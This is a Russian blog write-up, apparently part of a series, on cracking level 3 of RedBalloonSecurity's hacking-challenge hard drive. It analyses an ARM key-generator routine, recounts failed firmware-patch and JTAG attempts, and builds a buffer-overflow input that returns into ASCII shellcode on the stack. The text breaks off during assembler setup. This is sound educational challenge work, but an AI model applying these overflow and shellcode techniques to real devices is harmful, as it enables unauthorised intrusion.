Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x02

    По мотивам
    Часть 0x00
    Часть 0x01
    Часть 0x02

    Сложность

    Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

    Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

    LEVEL3

    По традиции, я начну с короткого содержания раздела диска:

    user@ubuntu:/media/user/LEVEL3$ file *
    level_3.html:                  HTML document, ASCII text, with very long lines
    level3_instructions.txt:       ASCII text
    final_level.lod.7z.encrypted:  7-zip archive data, version 0.3

    Все по классике:

    1. level_3.html - файл с дампом памяти функции, которая генерирует ключ

    2. level3_instructions.txt - инструкции что и как делать

    3. final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

    Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

    Наша подсказка выглядит вот так:

    user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txt
    You made it! I guess I wasn't the best intern...
    
    Maybe this one is better?
    
    1. Invoke the function with command R<User_Input>
    2. Find the key you must!!!!!
    
    level3.html provides disassembly of a memory snapshot of the key generator function.
    
    Read this. http://phrack.org/issues/66/12.html

    Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

    ASCII шеллкод

    Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

    Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

    • Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.

    • А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

    Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

    Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

    В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

    level_3.html
    001. ROM:00332D30
    002. ROM:00332D30 ; Segment type: Pure code
    003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0
    004. ROM:00332D30                 ; ORG 0x332D30
    005. ROM:00332D30                 CODE16
    006. ROM:00332D30
    007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================
    008. ROM:00332D30
    009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)
    010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.
    011. ROM:00332D30 ; The next level to reach, the key parts to print you must!
    012. ROM:00332D30
    013. ROM:00332D30 generate_key
    014. ROM:00332D30
    015. ROM:00332D30 var_A8          = -0xA8
    016. ROM:00332D30
    017. ROM:00332D30                 PUSH            {R4-R7,LR}
    018. ROM:00332D32                 SUB             SP, SP, #0x90
    019. ROM:00332D34                 MOVS            R7, R1
    020. ROM:00332D36                 MOVS            R4, R2
    021. ROM:00332D38                 MOVS            R5, R0
    022. ROM:00332D3A                 MOV             R1, SP
    023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"
    024. ROM:00332D3E                 LDR             R3, =0x68B08D
    025. ROM:00332D40                 NOP
    026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...
    027. ROM:00332D44                 MOV             R2, SP
    028. ROM:00332D46
    029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j
    030. ROM:00332D46                 LDRB            R6, [R1]
    031. ROM:00332D48                 ADDS            R1, R1, #1
    032. ROM:00332D4A                 CMP             R6, #0xD
    033. ROM:00332D4C                 BEQ             loc_332D54
    034. ROM:00332D4E                 STRB            R6, [R2]
    035. ROM:00332D50                 ADDS            R2, R2, #1
    036. ROM:00332D52                 B               loc_332D46
    037. ROM:00332D54 ; ---------------------------------------------------------------------------
    038. ROM:00332D54
    039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj
    040. ROM:00332D54                 SUBS            R6, #0xD
    041. ROM:00332D56                 STRB            R6, [R2]
    042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'
    043. ROM:00332D5A                 CMP             R5, #9
    044. ROM:00332D5C                 BGT             loc_332E14
    045. ROM:00332D5E                 LSLS            R5, R5, #1
    046. ROM:00332D60                 ADDS            R5, R5, #6
    047. ROM:00332D62                 MOV             R0, PC
    048. ROM:00332D64                 ADDS            R5, R0, R5
    049. ROM:00332D66                 LDRH            R0, [R5]
    050. ROM:00332D68                 ADDS            R0, R0, R5
    051. ROM:00332D6A                 BX              R0
    052. ROM:00332D6A ; ---------------------------------------------------------------------------
    053. ROM:00332D6C                 DCW 0x15
    054. ROM:00332D6E                 DCW 0xA6
    055. ROM:00332D70                 DCW 0xA4
    056. ROM:00332D72                 DCW 0xA2
    057. ROM:00332D74                 DCW 0xA0
    058. ROM:00332D76                 DCW 0x9E
    059. ROM:00332D78                 DCW 0x30
    060. ROM:00332D7A                 DCW 0x52
    061. ROM:00332D7C                 DCW 0x98
    062. ROM:00332D7E                 DCW 0xE
    063. ROM:00332D80 ; ---------------------------------------------------------------------------
    064. ROM:00332D80
    065. ROM:00332D80 key_part1
    066. ROM:00332D80                 LDR             R0, [R4]
    067. ROM:00332D82                 MOVS            R6, #1
    068. ROM:00332D84                 STR             R6, [R7]
    069. ROM:00332D86                 BLX             loc_332E28
    070. ROM:00332D86 ; ---------------------------------------------------------------------------
    071. ROM:00332D8A                 CODE32
    072. ROM:00332D8A                 DCB    0
    073. ROM:00332D8B                 DCB    0
    074. ROM:00332D8C ; ---------------------------------------------------------------------------
    075. ROM:00332D8C
    076. ROM:00332D8C key_part2
    077. ROM:00332D8C                 LDR             R6, [R7]
    078. ROM:00332D90                 CMP             R6, #1
    079. ROM:00332D94                 LDREQ           R1, [R4,#4]
    080. ROM:00332D98                 EOREQ           R1, R1, R0
    081. ROM:00332D9C                 MOVEQ           R6, #1
    082. ROM:00332DA0                 STREQ           R6, [R7,#4]
    083. ROM:00332DA4                 B               loc_332E28
    084. ROM:00332DA8 ; ---------------------------------------------------------------------------
    085. ROM:00332DA8
    086. ROM:00332DA8 key_part3
    087. ROM:00332DA8                 LDR             R6, [R7]
    088. ROM:00332DAC                 CMP             R6, #1
    089. ROM:00332DB0                 LDREQ           R6, [R7,#4]
    090. ROM:00332DB4                 CMPEQ           R6, #1
    091. ROM:00332DB8                 LDREQ           R2, [R4,#8]
    092. ROM:00332DBC                 EOREQ           R2, R2, R1
    093. ROM:00332DC0                 MOVEQ           R6, #1
    094. ROM:00332DC4                 STREQ           R6, [R7,#8]
    095. ROM:00332DC8                 B               loc_332E28
    096. ROM:00332DCC ; ---------------------------------------------------------------------------
    097. ROM:00332DCC
    098. ROM:00332DCC key_part4
    099. ROM:00332DCC                 LDR             R6, [R7]
    100. ROM:00332DD0                 CMP             R6, #1
    101. ROM:00332DD4                 LDREQ           R6, [R7,#4]
    102. ROM:00332DD8                 CMPEQ           R6, #1
    103. ROM:00332DDC                 LDREQ           R6, [R7,#8]
    104. ROM:00332DE0                 CMPEQ           R6, #1
    105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]
    106. ROM:00332DE8                 EOREQ           R3, R3, R2
    107. ROM:00332DEC                 MOVEQ           R6, #1
    108. ROM:00332DF0                 STREQ           R6, [R7,#8]
    109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"
    110. ROM:00332DF8                 SUB             SP, SP, #4
    111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]
    112. ROM:00332E00                 MOVS            R0, R4
    113. ROM:00332E04                 LDR             R4, dword_332E40+4
    114. ROM:00332E08                 BLX             R4
    115. ROM:00332E0C                 ADD             SP, SP, #4
    116. ROM:00332E10
    117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j
    118. ROM:00332E10                 B               loc_332E10
    119. ROM:00332E14 ; ---------------------------------------------------------------------------
    120. ROM:00332E14                 CODE16
    121. ROM:00332E14
    122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj
    123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"
    124. ROM:00332E16                 SUB             SP, SP, #4
    125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]
    126. ROM:00332E1A                 MOVS            R0, R4
    127. ROM:00332E1C                 LDR             R4, =0x68B08D
    128. ROM:00332E1E                 BLX             R4
    129. ROM:00332E20                 ADD             SP, SP, #4
    130. ROM:00332E22                 BLX             loc_332E28
    131. ROM:00332E26                 MOVS            R0, R0
    132. ROM:00332E26 ; End of function generate_key
    133. ROM:00332E26
    134. ROM:00332E28                 CODE32
    135. ROM:00332E28
    136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p
    137. ROM:00332E28                                         ; generate_key+74j ...
    138. ROM:00332E28                 ADD             SP, SP, #0xA0
    139. ROM:00332E2C                 LDR             LR, [SP],#4
    140. ROM:00332E30                 BX              LR
    141. ROM:00332E30 ; ---------------------------------------------------------------------------
    142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr
    143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er
    144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r
    145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r
    146. ROM:00332E40                                         ; generate_key+D4r
    147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r
    148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr
    149. ROM:00332E50                 DCD 0
    150. ROM:00332E50 ; ROM           ends
    151. ROM:00332E50
    152. ROM:00332E50                 END

    Отличия

    Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

    Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

    На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам придется другим, более изощренным способом.

    На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

    Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

    Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

    Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

    Жалкие попытки

    Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

    Меняем прошивку

    Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

    Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

    root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 
    ================================================================================
     Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015
     Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved
     Tue Mar 23 19:25:42 2021
    ================================================================================
    Flashing microcode file level_3_patch.lod to /dev/sg1
     .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !
    Microcode Download to /dev/sg1 FAILURE!!!

    Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

    Может потыкать железяку?

    Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключиться в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

    Для подобной манипуляции есть парочка нюансов:

    • Нужно знать какие ножки процессора отвечают за JTAG

    • Нужно понять каким образом настроить openocd

    JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически невозможно. Это на столько невозможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

    На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

    Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

    Разукрашенная плата

    В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

    К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

    Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

    Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

    Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

    Решаем по правильному

    В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

    У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

    Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

    R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

    На что получил вот такой ответ:

    SP:2c7bcc.

    Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

    То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

    Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

    Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

    013. ROM:00332D00 generate_key
    014. ROM:00332D00
    015. ROM:00332D00 var_28          = -0x28
    016. ROM:00332D00
    017. ROM:00332D00                 PUSH            {R4-R7,LR}
    018. ROM:00332D02                 SUB             SP, SP, #0x10
    019. ROM:00332D04                 MOVS            R7, R1
    020. ROM:00332D06                 MOVS            R4, R2
    ...
    108. ROM:00332DCC                 MOV             R1, SP
    109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"
    110. ROM:00332DD4                 BLX             loc_332DDC
    111. ROM:00332DD8                 CODE16
    112. ROM:00332DD8
    113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej
    114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"
    115. ROM:00332DDA                 NOP
    116. ROM:00332DDC
    117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p
    118. ROM:00332DDC                                         ; generate_key+D4p
    119. ROM:00332DDC                 SUB             SP, SP, #4
    120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]
    121. ROM:00332DE0                 MOVS            R0, R4
    123. ROM:00332DE2                 LDR             R4, =0x68B08D
    124. ROM:00332DE4                 BLX             R4
    125. ROM:00332DE6                 ADD             SP, SP, #4
    126. ROM:00332DE8                 BLX             loc_332DEC
    127. ROM:00332DE8 ; End of function generate_key
    128. ROM:00332DE8
    129. ROM:00332DEC                 CODE32
    130. ROM:00332DEC
    131. ROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58p
    132. ROM:00332DEC                                         ; generate_key+74j ...
    133. ROM:00332DEC                 ADD             SP, SP, #0x20
    134. ROM:00332DF0                 LDR             LR, [SP],#4
    135. ROM:00332DF4                 BX              LR
    136. ROM:00332DF8
    137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
    level_3.html
    level_3.html

    На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

    LDR LR, [SP],#4

    забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

    Делаем вот такую обратную математику:

    0x002C7BCC + 0х10 = 0x002C7BDC
    0x002C7BDC - 0x20 = 0x002C7BBC
    0x002C7BBC - 0x04 = 0x002C7BB8

    0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

    0x002C7BB8 - 0х90 = 0x002C7B28

    Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавиться от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

    • Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.

    • Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.

    • Сдвиг на 3 байта это именно то, что нам нужно.

    0x002C7B28 + 0x03 = 0x002C7B2B

    Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

    Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

    Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

    RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

    Тестим шеллкод

    Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

    Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

    user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystone
    Cloning into 'keystone'...
    remote: Enumerating objects: 6806, done.
    remote: Counting objects: 100% (84/84), done.
    remote: Compressing objects: 100% (66/66), done.
    remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722
    Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.
    Resolving deltas: 100% (4617/4617), done.
    user@ubuntu:~/Desktop$ cd keystone

    Не забываем применить патч из LEVEL2.

    0001-keystone-armv5.patch
    user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patch
    From 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001
    From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>
    Date: Wed, 15 Feb 2017 09:23:31 -0800
    Subject: [PATCH] armv5 support
    
    ---
     llvm/keystone/ks.cpp | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cpp
    index d1819f0..8c66f19 100644
    --- a/llvm/keystone/ks.cpp
    +++ b/llvm/keystone/ks.cpp
    @@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)
    
         if (arch < KS_ARCH_MAX) {
             ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);
    -
    +
             if (!ks) {
                 // memory insufficient
                 return KS_ERR_NOMEM;
    @@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)
                             TripleName = "armv7";
                             break;
                         case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:
    -                        TripleName = "thumbv7";
    +                        TripleName = "armv5te";
                             break;
                     }
    
    @@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,
         Streamer = ks->TheTarget->createMCObjectStreamer(
                 Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,
                 /*DWARFMustBeAtTheEnd*/ false);
    -
    +
         if (!Streamer) {
             // memory insufficient
             delete CE;
    @@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,
             return KS_ERR_NOMEM;
         }
         MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);
    -    if (!TAP) {
    +    if (!TAP) {
             // memory insufficient
             delete Parser;
             delete Streamer;
    --
    1.9.1

    Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

    304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:
    305.                    TripleName = "thumbv7";
    306.                break;

    на

    304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:
    305.                    TripleName = "armv5te";
    306.                break;

    Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

    Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

    user@ubuntu:~/Desktop/keystone$ mkdir build
    user@ubuntu:~/Desktop/keystone$ cd build
    user@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

    Процесс конфигурации может проходить по-разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

    user@ubuntu:~/Desktop/keystone/build$ sudo make install
    user@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

    Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

    user@ubuntu:~/Desktop/keystone/build$ cd ../samples
    user@ubuntu:~/Desktop/keystone/samples$ make
    cc -o sample sample.c -lkeystone -lstdc++ -lm
    user@ubuntu:~/Desktop/keystone/samples$ ./sample
    add eax, ecx = 66 01 c8
    Assembled: 3 bytes, 1 statements
    
    add eax, ecx = 01 c8
    Assembled: 2 bytes, 1 statements
    ...

    Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

    user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

    Наш Makefile должен выглядеть вот так:

    user@ubuntu:~/Desktop/keystone/samples$ cat Makefile
    # Sample code for Keystone Assembler Engine (www.keystone-engine.org).
